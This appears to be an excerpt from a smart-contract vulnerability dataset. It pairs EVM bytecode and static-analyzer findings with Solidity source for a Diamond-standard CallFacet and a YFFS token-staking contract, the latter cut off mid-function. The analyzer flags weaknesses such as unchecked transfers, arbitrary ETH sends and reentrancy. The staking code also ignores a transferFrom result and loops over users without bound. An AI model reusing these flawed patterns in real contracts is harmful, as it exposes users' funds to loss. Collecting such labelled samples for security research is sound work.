5262ffffff600160801b840416606086015260ff600160981b840481166080870152920490911660a0840152600381015460c0840152600581015460e08401526006015461010083015290925042106106b7575060408101516001600160801b0316610714565b6000670de0b6b3a764000090506127106301e1338042856020015163ffffffff1603856060015162ffffff16840202816106ed57fe5b04816106f557fe5b0481018184604001516001600160801b0316028161070f57fe5b049150505b61010082015160e0830151600090670de0b6b3a7640000906107369085611b5c565b8161073d57fe5b04905061074a8282611bbc565b9695505050505050565b60046020526000908152604090205481565b6000806005848154811061077657fe5b90600052602060002090600702016002016000846001600160a01b03166001600160a01b03168152602001908152602001600020549150600584815481106107ba57fe5b90600052602060002090600702016004016000846001600160a01b03166001600160a01b031681526020019081526020016000205490509250929050565b6000546001600160a01b03163314610840576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6001600160a01b03909116600090815260046020526040902055565b6001546001600160a01b031681565b6000546001600160a01b031633146108b3576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6003805460ff191660ff92909216919091179055565b6000546001600160a01b03163314610911576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6001600160a01b038116610954576040805162461bcd60e51b815260206004820152600560248201526410b0b2323960d91b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109be576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b80600583815481106109cc57fe5b906000526020600020906007020160010160146101000a81548160ff021916908360ff1602179055505050565b600060058381548110610a0857fe5b600091825260209091206007909102018054909150600160a01b900463ffffffff164210610a6b576040805162461bcd60e51b815260206004820152600b60248201526a085d985d5b1d115b99195960aa1b604482015290519081900360640190fd5b60008211610ab0576040805162461bcd60e51b815260206004820152600d60248201526c085cda185c99509d5c9b905b5d609a1b604482015290519081900360640190fd5b60003390506000610ad88360030154610ad2610acb886105e4565b8790611b5c565b90611bfe565b9050610ae5838386611c50565b610af0838383611d04565b816001600160a01b0316857f3f6c7c131f29a1ace0e1879445abe358a301478b3ff3ad08567555c987cd9f938387604051808381526020018281526020019250505060405180910390a35050505050565b6000546001600160a01b03163314610b89576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b6001600160a01b038116610bcc576040805162461bcd60e51b815260206004820152600560248201526410b0b2323960d91b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600060058281548110610bfd57fe5b600091825260209091206007909102018054909150600160a01b900463ffffffff164210610c60576040805162461bcd60e51b815260206004820152600b60248201526a085d985d5b1d115b99195960aa1b604482015290519081900360640190fd5b333480610ca0576040805162461bcd60e51b815260206004820152600960248201526808595d1a125b905b5d60ba1b604482015290519081900360640190fd5b6000836003015460001415610cb6575080610cd5565b610cd2610cc2866105e4565b6003860154610ad2908590611b5c565b90505b6006840154610ce49083611bbc565b6006850155610cf4848483611d80565b826001600160a01b0316857f4fe895b20fb4d3b843ffaafc53ccc36497cb9076a6b09adfe6ea43fbabcff7228484604051808381526020018281526020019250505060405180910390a35050505050565b60035460ff1681565b60055490565b6000610d5e611fba565b60058381548110610d6b57fe5b600091825260208083206040805161012081018252600790940290910180546001600160a01b038116855263ffffffff600160a01b918290041693850184905260018201546001600160801b0381169386019390935262ffffff600160801b840416606086015260ff600160981b840481166080870152920490911660a0840152600381015460c0840152600581015460e0840152600601546101008301529092504210610e27575060408101516001600160801b0316610e84565b6000670de0b6b3a764000090506127106301e1338042856020015163ffffffff1603856060015162ffffff1684020281610e5d57fe5b0481610e6557fe5b0481018184604001516001600160801b03160281610e7f57fe5b049150505b9392505050565b600060058381548110610e9a57fe5b600091825260209091206007909102018054909150600160a01b900463ffffffff164210610efd576040805162461bcd60e51b815260206004820152600b60248201526a085d985d5b1d115b99195960aa1b604482015290519081900360640190fd5b600181015460c8600160a01b90910460ff1610610f50576040805162461bcd60e51b815260206004820152600c60248201526b085d985d5b1d10985b9b995960a21b604482015290519081900360640190fd5b80546001600160a01b03166000908152600460205260409020547109f4f2726179a224501d762422c946590d91603c1b11610fc1576040805162461bcd60e51b815260206004820152600c60248201526b085d1bdad95b90985b9b995960a21b604482015290519081900360640190fd5b60008211611004576040805162461bcd60e51b815260206004820152600b60248201526a085d1bdad95b925b905b5d60aa1b604482015290519081900360640190fd5b336000670de0b6b3a764000061102361101c87610d54565b8690611b5c565b8161102a57fe5b60018501549190049150600160981b900460ff16156110d557600183015460009061271090611064908490600160981b900460ff16611b5c565b8161106b57fe5b04905061108381600254611bbc90919063ffffffff16565b6002556110908282611dcf565b91506110ce816040518060400160405280600b81526020016a08595d1a125b95985d5b1d60aa1b8152508660060154611e149092919063ffffffff16565b6006850155505b8254604080516323b872dd60e01b81526001600160a01b03858116600483015230602483015260448201889052915191909216916323b872dd9160648083019260209291908290030181600087803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b505050506040513d602081101561115a57600080fd5b506111689050838386611eab565b611173838383611d04565b816001600160a01b0316857f05033b7c91434d46a613a104120d9b64d90442b02e743210b60d45617f751f4a8684604051808381526020018281526020019250505060405180910390a35050505050565b6000600583815481106111d357fe5b600091825260209091206007909102018054909150600160a01b900463ffffffff16421161123a576040805162461bcd60e51b815260206004820152600f60248201526e10bb30bab63a29ba34b63627b832b760891b604482015290519081900360640190fd5b6001600160a01b038216600090815260028201602052604090205480611297576040805162461bcd60e51b815260206004820152600d60248201526c085d5cd95c94da185c99505b5d609a1b604482015290519081900360640190fd5b60006112b88360030154610ad2848660060154611b5c90919063ffffffff16565b905060006112db8460030154610ad2858760050154611b5c90919063ffffffff16565b90506112e8848685611c50565b80156113845760058401546112fd9082611dcf565b600585015583546040805163a9059cbb60e01b81526001600160a01b038881166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561135757600080fd5b505af115801561136b573d6000803e3d6000fd5b505050506040513d602081101561138157600080fd5b50505b811561139557611395848684611d04565b6040805184815290516001600160a01b0387169188917f283349053d66d9da21ce374ae3939d0b4e29a7e880380937c647a7cd6b4105b89181900360200190a3505050505050565b6000546001600160a01b03163314611425576040805162461bcd60e51b8152602060048083019190915260248201526310b3b7bb60e11b604482015290519081900360640190fd5b806005838154811061143357fe5b906000526020600020906007020160010160136101000a81548160ff021916908360ff1602179055505050565b60025461146d9082611dcf565b6002556001546040516001600160a01b0390911690819083156108fc029084906000818181858888f193505050501580156114ac573d6000803e3d6000fd5b505050565b6000546001600160a01b031681565b6114c8611fba565b6001600160a01b03851661150c576040805162461bcd60e51b815260206004820152600660248201526510ba37b5b2b760d11b604482015290519081900360640190fd5b6001600160a01b0385166000908152600460205260409020547109f4f2726179a224501d762422c946590d91603c1b1161157c576040805162461bcd60e51b815260206004820152600c60248201526b085d1bdad95b90985b9b995960a21b604482015290519081900360640190fd5b428463ffffffff16116115be576040805162461bcd60e51b8152602060048201526005602482015264085d115b9960da1b604482015290519081900360640190fd5b6000836001600160801b03161161160e576040805162461bcd60e51b815260206004820152600f60248201526e085c1c9a58d9515b9914d8d85b1959608a1b604482015290519081900360640190fd5b60008262ffffff1611611651576040805162461bcd60e51b815260206004820152600660248201526502161707942560d41b604482015290519081900360640190fd5b6001600160a01b03858116825263ffffffff851660208301526001600160801b038416604083015262ffffff8316606083015260035460ff166080830152600054163314156116a257606460a08201525b60058054600181018255600082905282517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0600790920291820180546020808701516001600160a01b03199092166001600160a01b039485161763ffffffff60a01b1916600160a01b63ffffffff9384168102919091179093556040808801517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db1870180546060808c015160808d015160a08e01516fffffffffffffffffffffffffffffffff199094166001600160801b039687161762ffffff60801b1916600160801b62ffffff938416021760ff60981b1916600160981b60ff928316021760ff60a01b191693169098029190911790915560c08a01517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db389015560e08a01517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db58901556101008a01517f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db69098019790975596548151938c168452968a169183019190915291871681830152905133946000190193928a16927f17210feba3f6379855b838dc82a42a06ce4c65ea191f6cd9dea6004d6fc6fa39928290030190a45050505050565b60006005828154811061189a57fe5b600091825260209091206007909102018054909150600160a01b900463ffffffff1642106118fd576040805162461bcd60e51b815260206004820152600b60248201526a085d985d5b1d115b99195960aa1b604482015290519081900360640190fd5b348061193c576040805162461bcd60e51b815260206004820152600960248201526808595d1a125b905b5d60ba1b604482015290519081900360640190fd5b6000338161194986610d54565b9050600061196382610ad287670de0b6b3a7640000611b5c565b6001600160a01b03841660009081526004880160205260409020549091508111156119cd57506001600160a01b03821660009081526004860160205260409020546119ca670de0b6b3a76400006119ba8385611b5c565b816119c157fe5b87919004611dcf565b93505b6119d8868483611f07565b85546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015611a2d57600080fd5b505af1158015611a41573d6000803e3d6000fd5b505050506040513d6020811015611a5757600080fd5b50506006860154611a689086611bbc565b60068701558315611a7e57611a7e868486611d04565b6001600160a01b038316877fcd07afbf16f8c7d60914648608cc8a5ccd7b25919754fe0c1aca21757e0e5eb083611ab58989611dcf565b6040805192835260208301919091528051918290030190a350505050505050565b60058181548110611ae357fe5b6000918252602090912060079091020180546001820154600383015460058401546006909401546001600160a01b038416955063ffffffff600160a01b9485900416946001600160801b0384169462ffffff600160801b8604169460ff600160981b820481169592909104169290919089565b60025481565b600082611b6b57506000611bb6565b82820282848281611b7857fe5b0414611bb3576040805162461bcd60e51b815260206004820152600560248201526408485b5d5b60da1b604482015290519081900360640190fd5b90505b92915050565b600082820183811015611bb3576040805162461bcd60e51b8152602060048201526005602482015264084858591960da1b604482015290519081900360640190fd5b6000808211611c3c576040805162461bcd60e51b81526020600482015260056024820152641090b234bb60d91b604482015290519081900360640190fd5b6000828481611c4757fe5b04949350505050565b604080518082018252600f81526e216e6f74456e6f756768536861726560881b6020808301919091526001600160a01b0385166000908152600287019091529190912054611c9f918390611e14565b6001600160a01b0383166000908152600285016020908152604091829020929092558051808201909152600f81526e216e6f74456e6f756768536861726560881b918101919091526003840154611cf7918390611e14565b8360030181905550505050565b604080518082019091526014815273085b9bdd115b9bdd59da115d1a125b95985d5b1d60621b60208201526006840154611d3f918390611e14565b60068401556040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611d7a573d6000803e3d6000fd5b50505050565b6001600160a01b0382166000908152600284016020526040902054611da59082611bbc565b6001600160a01b03831660009081526002850160205260409020556003830154611cf79082611bbc565b600082821115611e0e576040805162461bcd60e51b81526020600482015260056024820152641090b9bab160d91b604482015290519081900360640190fd5b50900390565b60008184841115611ea35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e68578181015183820152602001611e50565b50505050905090810190601f168015611e955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166000908152600484016020526040902054611ed09082611bbc565b6001600160a01b03831660009081526004850160205260409020556005830154611efa9082611bbc565b8360050181905550505050565b6040805180820182526015815274085b9bdd115b9bdd59da151bdad95b931bd8dad959605a1b6020808301919091526001600160a01b0385166000908152600487019091529190912054611f5c918390611e14565b6001600160a01b03831660009081526004850160209081526040918290209290925580518082019091526015815274085b9bdd115b9bdd59da151bdad95b931bd8dad959605a1b918101919091526005840154611efa918390611e14565b6040805161012081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e081018290526101008101919091529056fea2646970667358221220ba97274f482c94d3c8fa015288167aa16cc0ce4e8e59e4f31f4eb88a1c77be1564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,753 |
0x5f41FC259627DBf27623ae89e8F813Bc80e6E82b
|
// SPDX-License-Identifier: MIT
pragma experimental ABIEncoderV2;
pragma solidity ^0.7.1;
//
/******************************************************************************\
* Author: Nick Mudge <nick@perfectabstractions.com> (https://twitter.com/mudgen)
/******************************************************************************/
interface IDiamondCut {
enum FacetCutAction {Add, Replace, Remove}
struct FacetCut {
address facetAddress;
FacetCutAction action;
bytes4[] functionSelectors;
}
/// @notice Add/replace/remove any number of functions and optionally execute
/// a function with delegatecall
/// @param _diamondCut Contains the facet addresses and function selectors
/// @param _init The address of the contract or facet to execute _calldata
/// @param _calldata A function call, including function selector and arguments
/// _calldata is executed with delegatecall on _init
function diamondCut(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata
) external;
event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata);
}
//
/******************************************************************************\
* Author: Nick Mudge <nick@perfectabstractions.com> (https://twitter.com/mudgen)
*
* Implementation of internal diamondCut function.
/******************************************************************************/
library LibDiamond {
bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage");
struct FacetAddressAndPosition {
address facetAddress;
uint16 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array
}
struct FacetFunctionSelectors {
bytes4[] functionSelectors;
uint16 facetAddressPosition; // position of facetAddress in facetAddresses array
}
struct DiamondStorage {
// maps function selector to the facet address and
// the position of the selector in the facetFunctionSelectors.selectors array
mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition;
// maps facet addresses to function selectors
mapping(address => FacetFunctionSelectors) facetFunctionSelectors;
// facet addresses
address[] facetAddresses;
// Used to query if a contract implements an interface.
// Used to implement ERC-165.
mapping(bytes4 => bool) supportedInterfaces;
// owner of the contract
address contractOwner;
}
function diamondStorage() internal pure returns (DiamondStorage storage ds) {
bytes32 position = DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := position
}
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function setContractOwner(address _newOwner) internal {
DiamondStorage storage ds = diamondStorage();
address previousOwner = ds.contractOwner;
ds.contractOwner = _newOwner;
emit OwnershipTransferred(previousOwner, _newOwner);
}
function contractOwner() internal view returns (address contractOwner_) {
contractOwner_ = diamondStorage().contractOwner;
}
function enforceIsContractOwner() internal view {
require(msg.sender == diamondStorage().contractOwner, "LibDiamond: Must be contract owner");
}
modifier onlyOwner {
require(msg.sender == diamondStorage().contractOwner, "LibDiamond: Must be contract owner");
_;
}
event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata);
// Internal function version of diamondCut
// This code is almost the same as the external diamondCut,
// except it is using 'FacetCut[] memory _diamondCut' instead of
// 'FacetCut[] calldata _diamondCut'.
// The code is duplicated to prevent copying calldata to memory which
// causes an error for a two dimensional array.
function diamondCut(
IDiamondCut.FacetCut[] memory _diamondCut,
address _init,
bytes memory _calldata
) internal {
for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) {
addReplaceRemoveFacetSelectors(
_diamondCut[facetIndex].facetAddress,
_diamondCut[facetIndex].action,
_diamondCut[facetIndex].functionSelectors
);
}
emit DiamondCut(_diamondCut, _init, _calldata);
initializeDiamondCut(_init, _calldata);
}
function addReplaceRemoveFacetSelectors(
address _newFacetAddress,
IDiamondCut.FacetCutAction _action,
bytes4[] memory _selectors
) internal {
DiamondStorage storage ds = diamondStorage();
require(_selectors.length > 0, "LibDiamondCut: No selectors in facet to cut");
// add or replace functions
if (_newFacetAddress != address(0)) {
uint256 facetAddressPosition = ds.facetFunctionSelectors[_newFacetAddress].facetAddressPosition;
// add new facet address if it does not exist
if (facetAddressPosition == 0 && ds.facetFunctionSelectors[_newFacetAddress].functionSelectors.length == 0) {
enforceHasContractCode(_newFacetAddress, "LibDiamondCut: New facet has no code");
facetAddressPosition = ds.facetAddresses.length;
ds.facetAddresses.push(_newFacetAddress);
ds.facetFunctionSelectors[_newFacetAddress].facetAddressPosition = uint16(facetAddressPosition);
}
// add or replace selectors
for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) {
bytes4 selector = _selectors[selectorIndex];
address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress;
// add
if (_action == IDiamondCut.FacetCutAction.Add) {
require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists");
addSelector(_newFacetAddress, selector);
} else if (_action == IDiamondCut.FacetCutAction.Replace) {
// replace
require(oldFacetAddress != _newFacetAddress, "LibDiamondCut: Can't replace function with same function");
removeSelector(oldFacetAddress, selector);
addSelector(_newFacetAddress, selector);
} else {
revert("LibDiamondCut: Incorrect FacetCutAction");
}
}
} else {
require(_action == IDiamondCut.FacetCutAction.Remove, "LibDiamondCut: action not set to FacetCutAction.Remove");
// remove selectors
for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) {
bytes4 selector = _selectors[selectorIndex];
removeSelector(ds.selectorToFacetAndPosition[selector].facetAddress, selector);
}
}
}
function addSelector(address _newFacet, bytes4 _selector) internal {
DiamondStorage storage ds = diamondStorage();
uint256 selectorPosition = ds.facetFunctionSelectors[_newFacet].functionSelectors.length;
ds.facetFunctionSelectors[_newFacet].functionSelectors.push(_selector);
ds.selectorToFacetAndPosition[_selector].facetAddress = _newFacet;
ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = uint16(selectorPosition);
}
function removeSelector(address _oldFacetAddress, bytes4 _selector) internal {
DiamondStorage storage ds = diamondStorage();
// if function does not exist then do nothing and return
require(_oldFacetAddress != address(0), "LibDiamondCut: Can't remove or replace function that doesn't exist");
require(_oldFacetAddress != address(this), "LibDiamondCut: Can't remove or replace immutable function");
// replace selector with last selector, then delete last selector
uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition;
uint256 lastSelectorPosition = ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors.length - 1;
// if not the same then replace _selector with lastSelector
if (selectorPosition != lastSelectorPosition) {
bytes4 lastSelector = ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors[lastSelectorPosition];
ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors[selectorPosition] = lastSelector;
ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint16(selectorPosition);
}
// delete the last selector
ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors.pop();
delete ds.selectorToFacetAndPosition[_selector];
// if no more selectors for facet address then delete the facet address
if (lastSelectorPosition == 0) {
// replace facet address with last facet address and delete last facet address
uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1;
uint256 facetAddressPosition = ds.facetFunctionSelectors[_oldFacetAddress].facetAddressPosition;
if (facetAddressPosition != lastFacetAddressPosition) {
address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition];
ds.facetAddresses[facetAddressPosition] = lastFacetAddress;
ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = uint16(facetAddressPosition);
}
ds.facetAddresses.pop();
delete ds.facetFunctionSelectors[_oldFacetAddress];
}
}
function initializeDiamondCut(address _init, bytes memory _calldata) internal {
if (_init == address(0)) {
require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty");
} else {
require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)");
if (_init != address(this)) {
enforceHasContractCode(_init, "LibDiamondCut: _init address has no code");
}
(bool success, bytes memory error) = _init.delegatecall(_calldata);
if (!success) {
if (error.length > 0) {
// bubble up the error
revert(string(error));
} else {
revert("LibDiamondCut: _init function reverted");
}
}
}
}
function enforceHasContractCode(address _contract, string memory _errorMessage) internal view {
uint256 contractSize;
assembly {
contractSize := extcodesize(_contract)
}
require(contractSize > 0, _errorMessage);
}
}
//
library LibReentryProtectionStorage {
bytes32 constant REENTRY_STORAGE_POSITION = keccak256(
"diamond.standard.reentry.storage"
);
struct RPStorage {
uint256 lockCounter;
}
function rpStorage() internal pure returns (RPStorage storage bs) {
bytes32 position = REENTRY_STORAGE_POSITION;
assembly {
bs.slot := position
}
}
}
//
contract ReentryProtectionFacet {
modifier noReentry {
// Use counter to only write to storage once
LibReentryProtectionStorage.RPStorage storage s
= LibReentryProtectionStorage.rpStorage();
s.lockCounter++;
uint256 lockValue = s.lockCounter;
_;
require(
lockValue == s.lockCounter,
"ReentryProtectionFacet.noReentry: reentry detected"
);
}
}
//
contract CallFacet is ReentryProtectionFacet {
function call(
address[] memory _targets,
bytes[] memory _calldata,
uint256[] memory _values
) external noReentry {
// ONLY THE OWNER CAN DO ARBITRARY CALLS
require(msg.sender == LibDiamond.diamondStorage().contractOwner);
require(
_targets.length == _calldata.length && _values.length == _calldata.length,
"ARRAY_LENGTH_MISMATCH"
);
for (uint256 i = 0; i < _targets.length; i++) {
// address(test).call{value: 1}(abi.encodeWithSignature("nonExistingFunction()"))
(bool success, ) = _targets[i].call{ value: _values[i] }(_calldata[i]);
require(success, "CALL_FAILED");
}
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806330c9473c14610030575b600080fd5b61004361003e366004610309565b610045565b005b600061004f6101bf565b80546001018082559091506100626101e3565b6004015473ffffffffffffffffffffffffffffffffffffffff16331461008757600080fd5b83518551148015610099575083518351145b6100be5760405162461bcd60e51b81526004016100b590610440565b60405180910390fd5b60005b85518110156101975760008682815181106100d857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1685838151811061010257fe5b602002602001015187848151811061011657fe5b602002602001015160405161012b9190610407565b60006040518083038185875af1925050503d8060008114610168576040519150601f19603f3d011682016040523d82523d6000602084013e61016d565b606091505b505090508061018e5760405162461bcd60e51b81526004016100b5906104d4565b506001016100c1565b50815481146101b85760405162461bcd60e51b81526004016100b590610477565b5050505050565b7ffad169404002d10c88c6f4c5df96a5ae8d3cada85765079fe73839a09bf6887c90565b7fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c90565b600082601f830112610217578081fd5b813561022a61022582610532565b61050b565b818152915060208083019084810160005b848110156102a0578135870188603f82011261025657600080fd5b8381013561026661022582610552565b81815260408b8184860101111561027c57600080fd5b61028b83888401838701610594565b5086525050928201929082019060010161023b565b505050505092915050565b600082601f8301126102bb578081fd5b81356102c961022582610532565b8181529150602080830190848101818402860182018710156102ea57600080fd5b60005b848110156102a0578135845292820192908201906001016102ed565b60008060006060848603121561031d578283fd5b833567ffffffffffffffff80821115610334578485fd5b818601915086601f830112610347578485fd5b813561035561022582610532565b80828252602080830192508086018b82838702890101111561037557898afd5b8996505b848710156103b857803573ffffffffffffffffffffffffffffffffffffffff811681146103a4578a8bfd5b845260019690960195928101928101610379565b5090975088013593505050808211156103cf578384fd5b6103db87838801610207565b935060408601359150808211156103f0578283fd5b506103fd868287016102ab565b9150509250925092565b60008251815b81811015610427576020818601810151858301520161040d565b818111156104355782828501525b509190910192915050565b60208082526015908201527f41525241595f4c454e4754485f4d49534d415443480000000000000000000000604082015260600190565b60208082526032908201527f5265656e74727950726f74656374696f6e46616365742e6e6f5265656e74727960408201527f3a207265656e7472792064657465637465640000000000000000000000000000606082015260800190565b6020808252600b908201527f43414c4c5f4641494c4544000000000000000000000000000000000000000000604082015260600190565b60405181810167ffffffffffffffff8111828210171561052a57600080fd5b604052919050565b600067ffffffffffffffff821115610548578081fd5b5060209081020190565b600067ffffffffffffffff821115610568578081fd5b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b8281833750600091015256fea264697066735822122055588f46373ebdac798744a453dc9d93587d531e812a86bcb266d3689f3bb49564736f6c63430007010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,754 |
0x5c9369fc9572b09bfc297c90acfbcf6904ec7522
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract YFFSstaking{
using SafeMath for uint;
ERC20 public token;
struct Contribution{
uint amount;
uint time;
}
struct User{
address user;
uint amountAvailableToWithdraw;
bool exists;
uint totalAmount;
uint totalBonusReceived;
uint withdrawCount;
Contribution[] contributions;
}
mapping(address => User) public users;
address[] usersList;
address owner;
uint public totalTokensDeposited;
uint public indexOfPayee;
uint public EthBonus;
uint public stakeContractBalance;
uint public bonusRate;
uint public indexOfEthSent;
bool public depositStatus;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
constructor(address _token, uint _bonusRate) public {
token = ERC20(_token);
owner = msg.sender;
bonusRate = _bonusRate;
}
event OwnerChanged(address newOwner);
function ChangeOwner(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
require(_newOwner != owner);
owner = _newOwner;
emit OwnerChanged(_newOwner);
}
event BonusChanged(uint newBonus);
function ChangeBonus(uint _newBonus) public onlyOwner {
require(_newBonus > 0);
bonusRate = _newBonus;
emit BonusChanged(_newBonus);
}
event Deposited(address from, uint amount);
function Deposit(uint _value) public returns(bool) {
require(depositStatus);
require(_value >= 100 * (10 ** 18));
require(token.allowance(msg.sender, address(this)) >= _value);
User storage user = users[msg.sender];
if(!user.exists){
usersList.push(msg.sender);
user.user = msg.sender;
user.exists = true;
}
user.totalAmount = user.totalAmount.add(_value);
totalTokensDeposited = totalTokensDeposited.add(_value);
user.contributions.push(Contribution(_value, now));
token.transferFrom(msg.sender, address(this), _value);
stakeContractBalance = token.balanceOf(address(this));
emit Deposited(msg.sender, _value);
return true;
}
function ChangeDepositeStatus(bool _status) public onlyOwner{
depositStatus = _status;
}
function StakeMultiSendToken() public onlyOwner {
uint i = indexOfPayee;
while(i<usersList.length && msg.gas > 90000){
User storage currentUser = users[usersList[i]];
uint amount = 0;
for(uint q = 0; q < currentUser.contributions.length; q++){
if(now > currentUser.contributions[q].time + 1 hours && now < currentUser.contributions[q].time + 90 days){
amount = amount.add(currentUser.contributions[q].amount);
}
}
if(amount >= 100 * (10 ** 18) && amount < 500 * (10 ** 18)){ //TODO
uint bonus = amount.mul(bonusRate).div(10000);
require(token.balanceOf(address(this)) >= bonus);
currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus);
require(token.transfer(currentUser.user, bonus));
}
i++;
}
indexOfPayee = i;
if( i == usersList.length){
indexOfPayee = 0;
}
stakeContractBalance = token.balanceOf(address(this));
}
function MasterStakeMultiSendToken() public onlyOwner {
uint i = indexOfPayee;
while(i<usersList.length && msg.gas > 90000){
User storage currentUser = users[usersList[i]];
uint amount = 0;
for(uint q = 0; q < currentUser.contributions.length; q++){
if(now > currentUser.contributions[q].time + 1 hours && now < currentUser.contributions[q].time + 90 days){
amount = amount.add(currentUser.contributions[q].amount);
}
}
if(amount >= 500 * (10 ** 18)){ //TODO
uint bonus = amount.mul(bonusRate).div(1000000).mul(115);
require(token.balanceOf(address(this)) >= bonus);
currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus);
require(token.transfer(currentUser.user, bonus));
}
i++;
}
indexOfPayee = i;
if( i == usersList.length){
indexOfPayee = 0;
}
stakeContractBalance = token.balanceOf(address(this));
}
event EthBonusSet(uint bonus);
function SetEthBonus(uint _EthBonus) public onlyOwner {
require(_EthBonus > 0);
EthBonus = _EthBonus;
stakeContractBalance = token.balanceOf(address(this));
indexOfEthSent = 0;
emit EthBonusSet(_EthBonus);
}
function StakeMultiSendEth() public onlyOwner {
require(EthBonus > 0);
require(stakeContractBalance > 0);
uint p = indexOfEthSent;
while(p<usersList.length && msg.gas > 90000){
User memory currentUser = users[usersList[p]];
uint amount = 0;
for(uint q = 0; q < currentUser.contributions.length; q++){
if(now > currentUser.contributions[q].time + 90 days){
amount = amount.add(currentUser.contributions[q].amount);
}
}
if(amount >= 100 * (10 ** 18) && amount < 500 * (10 ** 18)){ //TODO
uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited);
require(address(this).balance >= EthToSend);
currentUser.user.transfer(EthToSend);
}
p++;
}
indexOfEthSent = p;
}
function MasterStakeMultiSendEth() public onlyOwner {
require(EthBonus > 0);
require(stakeContractBalance > 0);
uint p = indexOfEthSent;
while(p<usersList.length && msg.gas > 90000){
